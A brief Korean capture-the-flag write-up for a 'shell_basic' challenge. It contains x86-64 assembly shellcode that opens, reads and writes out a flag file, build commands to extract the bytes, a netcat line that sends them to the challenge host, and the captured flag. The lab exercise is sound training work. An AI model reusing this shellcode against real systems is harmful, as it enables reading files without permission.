cat write.bin | ./shell_basic
코드를 이용하면 shellcode에 내가 작성한 코드 넣을 수 있더라!의사코드
fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL) read(fd, buf, size) write(1, buf, size)
; open
push 0x00
mov rax, 0x676E6F6F6F6F6F6F ; oooooong
push rax
mov rax, 0x6C5F73695F656D61 ; ame_is_l
push rax
mov rax, 0x6E5F67616C662F63 ; c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ; ell_basi
push rax
mov rax, 0x68732f656d6f682f ; /home/sh
push rax
mov rdi, rsp ; 첫 번째 인자
xor rsi, rsi ; 두 번째 인자
xor rdx, rdx ; 세 번째 인자
mov rax, 0x02 ; syscall 값
syscall
; read
mov rdi, rax ; 첫 번째 인자 (rax에 open 반환값)
xor rsi, rsp ; 두 번째 인자
sub rsp, 0x30
mov rdx, 0x30 ; 세 번째 인자
mov rax, 0x00 ; syscall 값
syscall
; write
mov rdi, 0x01 ; 첫번째 인자
mov rax, 0x01 ; syscall 값
syscall
; 정리
xor rdi, rdi
mov rax, 0x3c
syscall
4. shell code 추출
nasm -f elf64 write.asm
objcopy --dump-section .text=write.bin write.o
cat write.bin | nc [HOST] [PORT]
shellcode:
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}